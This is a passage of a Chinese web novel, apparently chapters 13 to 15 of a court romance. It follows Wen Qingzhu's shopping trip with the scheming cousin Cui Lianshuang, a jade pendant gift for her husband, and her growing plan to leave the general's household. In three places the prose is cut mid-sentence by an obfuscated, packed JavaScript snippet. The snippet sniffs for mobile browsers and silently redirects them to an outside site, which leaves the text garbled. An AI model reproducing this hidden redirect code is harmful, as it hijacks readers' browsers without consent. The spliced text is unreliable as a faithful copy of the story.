她知道姑娘在想什么,以前在安定侯府时,姑娘整日受府中人的欺负,不是让她冬日洗一大盆衣裳,便是令她在狂风乱作时清扫院落……凡此种冲,不胜枚举。 很多时候她也想帮姑娘,可她知晓,侯府到处都是主母的耳目,若她帮了,只会害得姑娘遭到更重的惩罚,是以每当这个时候她也只能躲起来偷偷抹泪。 好在,那些苦日子都熬过去了,还是姑娘命好,跟着姑娘,她现在也能吃饱穿暖了,在将军府也没人欺负自己。只是,惟愿姑娘和少将军能早日心意相通,那样就更好了。 看着下人们收起卫生工具,玉露思绪回笼:“该用早食了,姑娘。” 温轻竹点点头:“走吧,不能让父亲和母亲久等了。” 到了正厅,温轻竹刚和萧鸿晟和吴雪离行了礼,崔怜霜便在丫鬟搀扶下走了过来,宛如弱柳扶风。 “见过表舅,表舅母。”崔怜霜施施然行了一礼。 吴雪离连忙示意她坐下,“霜儿不必这么客气,遭了这么大罪,你可千万要好生休养。” “是,表舅母。”崔怜霜挨着温轻竹坐下,而后像是突然想起似的问道,“表嫂,怎么没见原哥哥啊?” 听了这个称呼,温轻竹不由眉心轻蹙,面上依旧维持体面,回道:“少将军去军营了。” 萧怀雁随口抱怨道:“哥哥向来如此,从不在府中多待。” “原来如此,原哥哥真是勤学苦练啊!”崔怜霜夸赞道,眼里满含钦佩之色。 温轻竹不由得多看了她一眼,她和那日从书房失魂落魄跑出来的样子截然不同,仿佛那件事从没发生过一般。 萧鸿晟率先拿起食箸道:“不管他,吃饭。” 用完早食,温轻竹正要离开,崔怜霜却看着吴雪离泫然欲泣道:“表舅母,霜儿知道自己在府上是多余的,承蒙您和表舅不嫌弃,收留了霜儿,可霜儿也晓得,没准哪一日会被赶出去,再次无家可归。” “好孩子,好端端地说这些做什么呢?”吴雪离拉着崔怜霜的手,怜惜道,“你放心,有我在,你想住多久住多久。” 玉露看了自家姑娘一眼,当即低头默默翻了个白眼。 “有您这句话,霜儿就放心了。”崔怜霜瞬间恢复了灿烂的笑容,又看向温轻竹,“只是,霜儿来了这么久,还没有出过门,因而有个不情之请,不知能否请表嫂带霜儿在长安城转一转?也不知道和小时候的相比,有没有什么变化。” 她越说声音越低,语气恳切而又卑微,好似生怕温轻竹不答应她的请求。 温轻竹道:“当然可以。” “说起来都怪我,轻竹也嫁进来有些时日了,也鲜少出门,霜儿不说我倒忘了。”吴雪离略有些尴尬地笑笑,看向儿媳,很快命丫鬟拿了些银子,塞给了温轻竹,“今日你们便出去逛逛,看上什么买什么,可别舍不得花钱。” 将军府日常生活虽比较节俭,可毕竟有两人拿俸禄,日常花销总是够的。温轻竹拿着颇有分量的钱包,心里倒也有了底。 不过,她往日里很少出门,但在安定侯府时曾想法子赚钱露过脸,恐被认出引起不必要的麻烦,温轻竹还是决定戴上帷帽再出门。 思及此,温轻竹对崔怜霜道:“我还需回去准备一二,请崔姑娘在此稍等一会。” 回了主屋,玉露就打开衣柜门找帷帽,同时抱怨起来:“姑娘,你答应她干嘛?遇上她准没好事。她想出去玩又不是没有丫鬟,非得姑娘作陪不成?” “这是夫人的意思。”温轻竹捏着手中的钱包,淡淡道,“况且,崔姑娘是府上的客人,作为主人,理应让客人尽兴。” “夫人偏心,”玉露为自家姑娘戴上帷帽,嘴撅得老高,“之前也没见给姑娘这么多银子,一听到她要出门,就给姑娘银子了。” “你就少说两句吧。”温轻竹无奈道。 玉露说的她何尝不懂,只是人在屋檐下,不得不低头。从前在安定侯府如此,在将军府自然也有不得已的时候。 -- 好不容易出趟门,玉露不禁叹道:“长安城真繁华啊!” “是啊,咱们就该多出来走走。”崔怜霜挽着温轻竹,不知是有意还是无意道,“将军府是大户人家,还是要多见见世面,才能融入贵女圈里。” 温轻竹点头:“崔姑娘说的是。” 崔怜霜在街道上流连忘返,每路过一个店铺、小摊都要停下来看好久,几番下来,玉露手上满是买的东西,怀里都快抱不下了。 “姑娘,你也买点什么吧。”玉露见手上尽是崔怜霜买的,而自家姑娘只买了几个小物件,便忍不住劝道。 刚好路过一家玉器店,装潢古雅清新,温轻竹开口道:“进去看看吧。” 掌柜的一见三人衣着打扮,便知是个大主顾,连忙上前招揽:“本店各色玉饰应有尽有,不管是女子佩戴的,还是男子佩戴的,亦或是小儿佩戴的,或者是做家里的摆件,包您满意,不知两位姑娘想要买什么样的?” 温轻竹摆了摆手道:“不劳掌柜费心,我们随便看看。” 温轻竹和玉露还是第一次看见这么多玉器,自然看得眼花缭乱,玉露时不时提着建议,两人都没发现,崔怜霜不知何时已经不在店里了。 掌柜的见主仆俩看了许久的玉佩,连忙过来问道:“姑娘,挑了这么久,可有喜欢的?” 温轻竹手上拿着一块玉佩,反复看了许久,轻轻摇头,放下,正要拿起另一块玉佩,却有人先一步拿了过来,“掌柜的,这块玉佩我要了。” 温轻竹抬头看去,却见一温润尔雅的男子拿起了玉佩,终究是在外面,不好与外男过多接触,连忙侧身看向别处。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041531|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那块玉佩本也没什么特别,只是一块常见的司南佩,不过胜在样式简单古朴,适合男子佩戴。且司南佩有辟邪护身功能,萧丞原时常上战场,打打杀杀的多有凶险,因此温轻竹想买块司南佩送给他。 “明明是我家姑娘先看上的。”玉露不禁小声嘀咕道。 掌柜见状,也有些为难,忙出来打圆场道:“二位真是好眼光啊,哈哈哈哈,我这店里什么款式的玉佩都有,公子和姑娘不妨再多看看。” 温轻竹却觉得其他玉佩都没有刚才那个好,便站在原地没有说什么。 对面那个男子却将玉佩放回原处,朗润的声音笑道:“君子不夺人所好,既是姑娘先看上的,那纪某就不好再与你相争了。” 温轻竹感激地行礼道:“多谢纪公子。” 付了钱,温轻竹正想问崔怜霜有没有看中的玉佩,却发觉对方早已不见了踪影,不由急道:“掌柜的,你可看见和我一同来的姑娘去了何处?” 掌柜环顾四周,也没有头绪,疑惑道:“这……刚刚还在这里的,我也不知道她什么时候走的,更不知道她去哪了。” 温轻竹带着玉露匆忙走出玉器店,恰巧一阵风吹过,拂起了帷帽一角,使她艳丽白皙的侧脸暴露在外,纪良衡瞥见便再也移不开眼,不禁开口唤了声“姑娘”,怎奈她寻人心切,并未听到身后的呼唤。 “这崔姑娘也真是的,第一次出府就跑没影了,真要失踪了将军和夫人那里该怎么交代?”玉露边四处寻找,边腾出手来给自家姑娘擦汗,简直忙得不可开交。 温轻竹定了定心神,接过玉露手中部分物品,“也许崔姑娘是觉得新奇,跑去别处玩了,她定不会失踪的。” 又走了半条街,玉露已累得气喘吁吁,不想再往前走,两人准备停下歇息片刻再找。 就在这时,耳边忽然听到一声“表嫂”,温轻竹疑心听错了,目光四处探寻着,终于在前面的小摊看见了崔怜霜。 “表嫂,我等你好久了,怎么才出来啊?”见温轻竹走近,崔怜霜娇娇柔柔道,好像浑然不知别人寻她费了多大工夫,又随手拿起一条腰带,“你看着条腰带好不好看?” “尚可。”温轻竹这才发现这个小摊卖的是各种样式的腰带。 不过,崔怜霜手上拿的却是一条男式腰带。 她语气兴奋道:“表嫂,看来我俩眼光一致呢。” 温轻竹皱了下眉,并未说什么。 崔怜霜还在继续道:“可我总觉得叫表嫂有些生疏,往后日子还长着,不如我叫你温姐姐如何?” “可以,你开心便好。”温轻竹随口道。 她没有亲姐妹,在安定侯府却见惯了姐妹间的算计,姐妹相称未必是好事。不过这只是个称呼而已,她爱怎么叫就怎么叫。 “温姐姐这可就见外了,”崔怜霜接过玉露递来的钱包付过钱,自己拿着那条腰带,爱不释手,“温姐姐以后就叫我怜霜或者霜儿吧。” “好,怜霜。”温轻竹将她的举动都看在眼里,并未说什么,再看一眼玉露快要承受不住怀里那些物什的样子,便开口道,“时辰不早了,再晚些太阳更晒人,咱们还是先回府吧。” 14. 礼物 温轻竹刚回府,便遇上同样从外面回来的萧怀雁。 “二弟,你去哪了?”温轻竹好奇道。 这个时辰,萧怀雁应当在府里聆听先生教诲,怎么溜去外面了呢? “嫂嫂,霜姐姐。”萧怀雁嘘了一声,示意两人凑近点,他才低声开口,“还不是那个林先生管太严,我自然是趁他困倦时偷溜出来的。” 温轻竹知道他向来不爱舞刀弄枪,读书也只是凭兴趣,大概是还没有收心定性吧。今日他定是做了什么手脚让先生晕过去了,才能脱身出府。 “若被爹爹发现就完了,你们可千万替我保守秘密。”萧怀雁双手合十恳求道,得到肯定答复他才放下心来,转眼看到玉露抱了满怀的东西,眼珠转了转,狡黠地笑了笑,“你们出去这么久,买了些什么好东西,有我的吗?” “当然少不了你的,”温轻竹好不容易从诸多物品中找出一本书来,递给萧怀雁,明眸一笑,露出两个浅浅的梨涡,“二弟还是应听先生的话,用功读书。” 萧怀雁接过来一看,封面上大大的四个字——春秋详注,这是和《春秋》过不去了吗?昨日先生才罚他抄《春秋》,怎么今日嫂子又送他一本。原本扬起的笑脸也瞬间垮了下去,活像个小苦瓜。 “逗你的,二弟。”温轻竹看他这模样忍俊不禁,掩唇轻笑道,“这里还有很多,不知道你喜欢什么,我们都买了些。” 萧怀雁眼里重新绽放了神采,欢欣地挑了一副象棋和一个九连环,“谢谢嫂子,谢谢霜姐姐!” 那象棋是温轻竹挑的,而九连环则是崔怜霜选中的。 二人又去正厅见了将军和夫人,把给将军、夫人买的礼物挑了出来,余下的便分别带走了。 温轻竹注意到,从始至终,崔怜霜都把那条男式腰带藏得紧紧的,始终没有拿出来,府里就几个男子,她想送给谁显而易见。 那日在亭子里撞见的画面仍旧清晰地印刻在脑海中,这几日反复在眼前出现。她不知道他们之间发生了什么,但他们二人早有前缘,她亦没有立场去多想。 只是在回东院的路上,温轻竹神思不属,连几个下人问安都没有听见。 “都去忙吧,少夫人有些乏了。”玉露打发了旁人探询的目光,扯了扯自家姑娘衣袖,“姑娘,你怎么了?” 温轻竹这才发现早已回了东院,收回了思绪,说道:“哦,没怎么,我只是很久没出去,觉得长安城真的很大。” 玉露:“嗯嗯,以后还有很多机会游览长安城的。” “回来了?”身穿玄袍的男子长身玉立,缓缓转过身来,走到近处来,将新婚妻子细细打量一番,“在聊什么呢?这么开心。” “少将军。”温轻竹一愣,没想到他今日回来这么早,先前想事情,也没有留意下人说的话,想来他已经回来好一会了。 虽然已经打定主意要抱上萧丞原这个大腿,可他主动搭话她还是有点不太习惯的。更何况她先前没有留意,一时间两人离得这么近,呼吸可闻,男人极具侵略性的气息环绕在颈边,她也不太适应。 再者,她的脑海中时不时会闪现关于萧丞原的种种传闻,一想到旁人形容他啥在战场上杀人如麻,甚至对女人都毫不手软,她就有点打退堂鼓了。 本来,她是不会刻意想起的,可一离得近了,她就有点控制不住自己去想象那些血腥恐怖的画面,那些影像一帧一帧的在脑海里回放。 温轻竹不自觉抖了一下,还好玉露有眼力劲儿,将手上的东西放到一边,快步过来扶住自家姑娘,解释道:“少将军,我家姑娘自小体虚,今日出去逛街有些乏累,可否先让奴婢扶姑娘回房歇息?” 萧丞原没说什么,只是眯着眼,再次扫了温轻竹一眼。 他不过随口问问,竟怕成这样?当初怎就有胆量嫁来将军府的。 温轻竹感受到他的目光,冰冷而又锐利,有种被冷血动物缠上的错觉,又仿佛是一只正在逃跑的小动物落入猎人射程之内,往哪跑都没生路。 “不打紧的,”温轻竹依靠玉露的力量总算站稳了,她抿了抿唇,竭力使自己镇定些,“今日出府,给府上人都买了些礼物,不知少将军喜欢什么,只好自己做主给你挑了一样。” 玉露即刻会意,从今日买回的东西里,找出了自家姑娘挑中的司南佩。 见萧丞原伸手,饶有兴致地瞧着那枚玉佩,温轻竹硬着头皮,像拿着个烫手山芋似的,轻颤着放在他手心,一触即离,“司南佩有辟邪护身之功用,希望少将军佩戴在身,护佑你所向披靡,战无不胜。” “你在怕什么?”萧丞原没有放过这个机会,快速抓住少女霜雪般的皓腕,悠悠开口道,“我听二弟说,你我成亲那日,你曾说过心悦我。” 先前回门时,在安定侯府,她面对母亲的欺辱、妹妹的陷害、父亲的偏心,甚至一滴泪都没落,尚能站出来应对自如,怎么现在一点看不出当时的气魄了。若真像她说的心悦自己,也不该是这种表现呀。 “没……没有。”温轻竹只觉脸和耳朵一起烧起来了,先前胡诌的话怎么能算数呢,她侧着脸看向不远处的地面,不敢抬头直视眼前人,只嘴角勉强扯出一丝笑意,“我见少将军今日回来这样早,心里感到高兴。” 萧丞原似乎比较满意这个回答,顺口说道:“好,那我日后也尽量回来早些,免得轻竹一人在家无聊。” 温轻竹手腕被捏得生疼,即使尽力忽视,仍旧无法消除男人强烈的存在感,她无心去想对方刚刚说了什么,只想摆脱他的桎梏,轻轻挣了挣,居然轻易挣脱了。 “少将军,我先回屋歇息了。” 没等到他的回应,少女便快步往房间走,与他擦身而过,只有淡淡的馨香萦绕在空气里,许久未曾散去。 萧丞原看着手心那枚司南佩,看了许久,直至听到有人走近的脚步声,他才将玉佩收好,恢复冷肃的神情。 “让你办的事怎么样了?” 近侍肃玄抱拳行礼:“回少将军的话,今日属下跟随少夫人出行,并未发觉少夫人有何异样,只是……” 萧丞原听出他话里的犹豫,语气危险道:“只是什么?” 虽然他现在已经接受了这个名义上的妻子,可她到底是安定侯府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046852|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出身,在他未弄清安定侯这个老狐狸的真正意图之前,依旧不能掉以轻心。是以这次出府,他暗中派人留意着温轻竹的动向,看她接触了什么人,有没有异样。 “只是中途有一阵子,崔姑娘消失了一会。”肃玄斟酌着开口,生怕惹得这位杀神不快,“可属下想着,少将军命属下盯着少夫人,因而不敢轻举妄动。” “知道了。”萧丞原把玩着手中玉佩,说道,“退下吧。” 他并不关心崔怜霜如何,父亲和母亲可怜她身世,将她留在府上,只要不惹到自己,他自然不会理会。 “是,属下告退。” “等等,”萧丞原沉吟片刻,叫住了将要离开的肃玄,“日后再遇到这种情况,要见机行事。” -- 温轻竹回房喝了一大杯凉水,深呼吸了好几次,才缓了过来,还好刚才萧丞原没有过度追究,不然她真要完了。 再回想刚才两人相处的一幕幕,她又燥热起来,正要拿起水壶倒水,却被玉露一把抢了过来,“姑娘,你不能再喝凉水了!” 温轻竹无奈,只得作罢,努力掐了自己一下,才没有继续乱想下去。 玉露却有了交谈的兴致,拉着自家姑娘的手,神情兴奋不已:“姑娘,刚刚少将军叫你什么,你还记得吗?” 这她还真没什么印象了,左不过是“温姑娘”罢了,还能有什么?从成亲那天起,他就这般疏离,看得出来,他一直对自己很是不满。 “我可是听见了哦,”玉露没有注意温轻竹,自顾自说了下去,“少将军叫你——‘轻竹’!” “呸,实在不是奴婢有意僭越,我只是转述少将军对您的称呼。” 玉露这么一说,温轻竹也想起来了,她没有追究玉露的话语,毕竟两人自小便情同姐妹。她只是在想那个凶狠残暴而又深不可测的男人,而后摇了摇头:“这也不能说明什么。” 况且,回门那次为了做戏,他在安定侯面前也叫了自己“轻竹”,不过那时玉露被霜叶扇了巴掌,不便前来伺候,没有听到罢了。 “这说明少将军拿姑娘当自家人看了,姑娘你还记得吗?一开始他可是都不准牧方叫你少将军的……” 听着玉露越说越多,温轻竹原本不太相信的,可渐渐地内心动摇了起来,生出了几分期许。 离午食尚有一会,温轻竹理好思绪,决心再接再厉,慢慢融化这个冰冷战神的心,她切了些水果,准备给萧丞原拿去。 听下人说,少将军在钓鱼,于是她便和玉露一起走向后院的那片湖。 日头正盛,空气中送来的几缕风显得微不足道,走两步便觉暑热难耐。萧丞原是习武之人,不论狂风暴雨,还是烈日炎炎都扛得住,听说他经常一人来后院钓鱼,以此静心养气,钓鱼时通常不准旁人打扰。 温轻竹想起先前发生的事,又怕惹他生气,不知会有怎样的后果,下意识放慢了脚步。 “姑娘,你看!”玉露眼尖,一下子看见了什么,气愤地指着那处小声道。 温轻竹顺着玉露手指的方向看去,只一眼,却只觉天旋地转,如遭雷击。 15. 打算 温轻竹不可置信地揉了揉眼睛,细看去,前方小凉亭,有一男一女停留在此,隔着一段距离,听不清两人在说什么,只是看身形衣着,正是萧丞原与崔怜霜,且看似举止亲密。 也不知萧丞原说了什么,崔怜霜显然情绪激动了起来,她拿出了那条男式腰带,伸手绕到他背后,似乎是要为他系上。 原来,她猜的没错,崔怜霜买下那条腰带,就是为了送给萧丞原。 “哐当”一声,瓷碟手滑脱落,掉在了地上,满碟的时令水果被砸烂一地,汁水淌得到处都是,少女雪白的裙裾也被溅起了点点印记…… “玉露,我们走!”温轻竹转身往外走,逃也似的离开了后院。 她不该来的,今日是昏了头才听信了玉露的分析,以为他对自己的态度有所缓和,对他生出了不该有的期待,真是自作多情。 “真不要脸!”离开后院,玉露见四周无人,不由得为自家姑娘打抱不平,“光天化日之下,就敢勾搭有妇之夫,还表姑娘呢,我看她就是奔着将军府女主人的位置来的。” 头一次,温轻竹没有打断玉露的话,只是默默听着,她知道玉露说的也不无道理,说不定将军府很多人私底下都这样想,等着看自己笑话呢。 可是她又能怎样呢?她只是一个随时可能暴露身份、成为安定侯府弃子的假千金,所求不过一个能吃饱穿暖、遮风避雨的栖身之所而已。在有足够的谋生和自保能力之前,她还要待在将军府,对于这些事只能睁一只眼闭一只眼,装作不知道。 “姑娘,你说句话啊!”玉露见自家姑娘自从回来就一言不发,有些慌了神,“再这样下去,将军府可怎么待啊?侯府的人若是知道了,少不得要来嘲笑姑娘。” 特别是那骆宜秋母女,如果知晓她在将军府这般处境,不知会如何奚落嘲讽。 温轻竹苦笑:“我还能说什么呢?” 事实已经摆在眼前,这还让她如何说服自己,崔怜霜只是暂住将军府的客人,恐怕将军府的小丫鬟都不会相信吧。 -- 后院凉亭。 “崔怜霜,你适可而止!” 男人怒喝着,满眼嫌弃与愤怒,飞速扯开女子靠近的手,顺带将她手里的腰带也扔进了湖里。 萧丞原没想到,世上还有如此厚颜无耻的女人,本朝开国以来,女子向来注重自身名节,极为注重颜面,可这崔怜霜简直不按常理出牌。 他原以为,上一次在书房已经说得很清楚了,他已娶了妻,幼时的口头婚约自然做不得数,可这回她竟趁着自己独处钓鱼又凑了上来,在他出言拒绝的情况下,还想趁他不备将那腰带给他系上。 其实温轻竹来的时候他听到了脚步声,不过是想等她拿出自己的身份来解围,可却什么都没等到,直到听见瓷碟打碎的声音,才愤然甩开崔怜霜的手。 被拒绝的屈辱、委屈涌上心头,崔怜霜流下两行泪珠,拦住了萧丞原的去路,不甘道:“原哥哥,难道你还不明白我对你的心意吗?” 崔家从前虽算不上大富大贵,但好歹也是一方巨贾,多少小有功名的富家子弟曾上门求亲,可她都让母亲婉拒了,只因她一心念着萧丞原。母亲劝她,将军府门第显赫,幼时的口头婚约未必做数,且本来也没有留下凭证,何必蹉跎了自己,她从来都不听劝,坚信幼时那个正直善良的小少年会娶自己。 可到头来,果然被母亲说准了,将军府根本就不打算承认这婚约。 不,也不全然是这样,将军夫人私底下也曾表示惋惜,说当时是因听说崔家遭遇不测,见她下落不明,只好打消了念头。将军近些年一直为儿子婚事忧心,恰好前些日子安定侯提出联姻,正好解除了将军的心病,两家联姻还得了圣上赞誉。 萧丞原看着挡在自己面前的女子,只觉得厌恶,没有半分好脸色,冷声道:“让开!” “原哥哥,你不能这样!”崔怜霜拉住萧丞原的衣袖,不想让人走,“明明当初说好的婚约,怎么就不做数了呢?” 他知不知道,自己为了回来见他,付出了多大的代价? “谁说的你找谁,我从来不知你口中所谓的荒唐婚约。” 萧丞原用力扯走了衣袖,他已经很不耐烦了,若不是还顾着她身世可怜,早就不会留她在将军府了。 在军中时,他身边没少被人送来各种各样的女人,十有八九是用来打探消息的细作,且多是训练有素的杀手,他有的是法子折磨她们,要不了两三天她们便会受不住自我了断了。 可这崔怜霜却是个麻烦,她家确实与将军府交好,又是远房亲戚,幼时他也曾见过崔伯父,只是没想到如今的崔怜霜竟和幼时判若两人,他极不愿与其相处,可偏偏父母怜悯她,待她极好,只要她没有做出太过分的事情,他也没必要把事情弄得太僵。 望着男人冷漠离去的身影,崔怜霜擦干了眼泪,眼里露出一抹狠绝,自语道:“这是你逼我的,日后可不要后悔。” -- “你个小兔崽子,今天是不是又对先生无礼了?” 到了用饭时间,温轻竹刚来正厅,就见萧鸿晟拿着鸡毛掸子,正追着萧怀雁打,后者终究是年轻,跑起来灵敏迅捷,萧将军自然追不上他,累得在后面气喘吁吁,跑两步就要停下来歇会儿。 “哎呀,别打了,娘亲,嫂子,你们救救我!”萧怀雁抱着柱子求救道。 父母管教子女,天经地义,这是人家的家事,温轻竹这个做嫂嫂的自然是没有插手的道理,不过看着这“父慈子孝”的一幕,刚才在后院的郁闷也消减了许多。 “将军,怀雁他已经知错了,也跟柳先生道过歉了,就别打他了。”吴雪离急得水也不喝了,上前几步制止道。 “再说了,怀雁也不小了,再有个两三年就该行冠礼了,年轻人总是爱面子的,将军您这样,怀雁还如何在下人面前立威。” 萧怀雁整日里活脱脱小孩子心性,可实际上他如今已有十七,比温轻竹还大上一岁。 萧鸿晟被吴雪离好说歹说,才算停了手,坐下喝了一大杯水,顺了顺气,才叹道:“他是不小了,可整日里没个正形,到底从文还是从武也没定下来,要是像他哥那样该有多好……” “将军!”这似乎勾起了吴雪离的伤心事,她脸色骤变,打断了萧鸿晟的话,“原儿变成现在这样都怪你,你还说。” 温轻竹听到这话,想起之前吴雪离似乎也提到过一点,但被萧丞原打断了,便没有说下去,她倒是有些好奇,赶明儿得找机会问清楚。 “是是是,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051339|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提了。”萧鸿晟余光瞥见鬼鬼祟祟靠墙走来的小儿子,又恨铁不成钢道,“可柳先生是我好不容易请来的,这小崽子三番五次戏弄先生,实在是不争气!” 眼看崔怜霜也过来了,吴雪离连忙劝道:“不说这些了,先用饭。” 萧丞原一直到菜上完了才来。 “今日怎么又来这么晚?”萧鸿晟小酌一杯,不满地看向大儿子。 他记得没错的话,萧丞原今日是去城外清剿流窜的北狄势力残余,早早地就回了府,怎么在用饭时还迟到? “将军。”吴雪离瞪了丈夫一眼,连忙给大儿子布菜,“别管你爹,他喝多了就这样,原儿好不容易在家里用饭,可要多吃些。” 萧丞原应了一声,只管闷头用饭,别的什么也没说,吴雪离给他夹到碗里的他都很快吃掉了。这可把吴雪离高兴坏了,只是觉得今日的大儿子格外听话些,就又给他夹了不少肉。 萧丞原用完饭,便告辞离去。 “娘,你不觉得哥哥今天怪怪的吗?”萧怀雁盯着哥哥的背影,小声嘀咕道。 “咳咳。”萧鸿晟轻咳了两声。 萧怀雁立刻收回目光,专注于消灭碗里的饭菜。 温轻竹见状,拿起公筷给他夹菜:“二弟,你多吃点。” 嫁来将军府这么久,温轻竹对府里的规矩也有所了解,将军府确实家规森严,尤其是萧鸿晟对两个儿子的教养上,只她是女眷,又初来乍到,对她也宽容些。对崔怜霜这个表姑娘,将军和夫人念旧情,自然也对她格外优待。 萧怀雁嘴里咀嚼着,含糊不清道:“还是娘亲和嫂子对我好。” “霜儿,你也吃菜,别拘礼。”吴雪离见崔怜霜中午来了,除了见礼之外没有说话,似乎有什么心事,便连忙喊她。 崔怜霜莞尔一笑:“是,表舅母。” 温轻竹没滋没味地用了饭,回到东院,果然没有萧丞原的踪影,不知他去了何处。 她刚才仔细想了想,今天的事情也许并非她看到的那样,至少她只看到崔怜霜的举动,并未听清两人的对话,也许眼见不一定为实呢。 她想找萧丞原问清楚,可却找不到他的身影。也许事情本来就是那样呢,那他也就没有和自己解释的必要了吧,再说了,他本来就不喜自己。 “玉露,你想离开吗?”温轻竹把门关好,轻声问道。 倘若真有那么一天,将军府容不下自己,那她得早做打算了。 “姑娘,你不想待在这里了吗?”玉露瞪大了双眼,呆愣道,“可是姑娘,你已经和少将军成亲了呀!” “不管这些,”温轻竹点了点玉露的额头,笑着说,“我就问你,如果能离开这里,你想不想和我一起走?” “嗯,想想想!”玉露连连点头,在自家姑娘手上蹭了蹭,“嘿嘿,姑娘去哪奴婢就去哪。” “还要带上李嬷嬷。” “对,还有嬷嬷。” 她自打生下来就没见过亲生父母,最亲的人也就玉露和李嬷嬷了,她只想带着她们,走得远远的,找个谁也不认识的地方好好生活。 在将军府的日子虽比从前好了许多,可如果仅仅指望每个月的月例,还不知道要攒到猴年马月才能离开,她要开始做点什么攒钱了。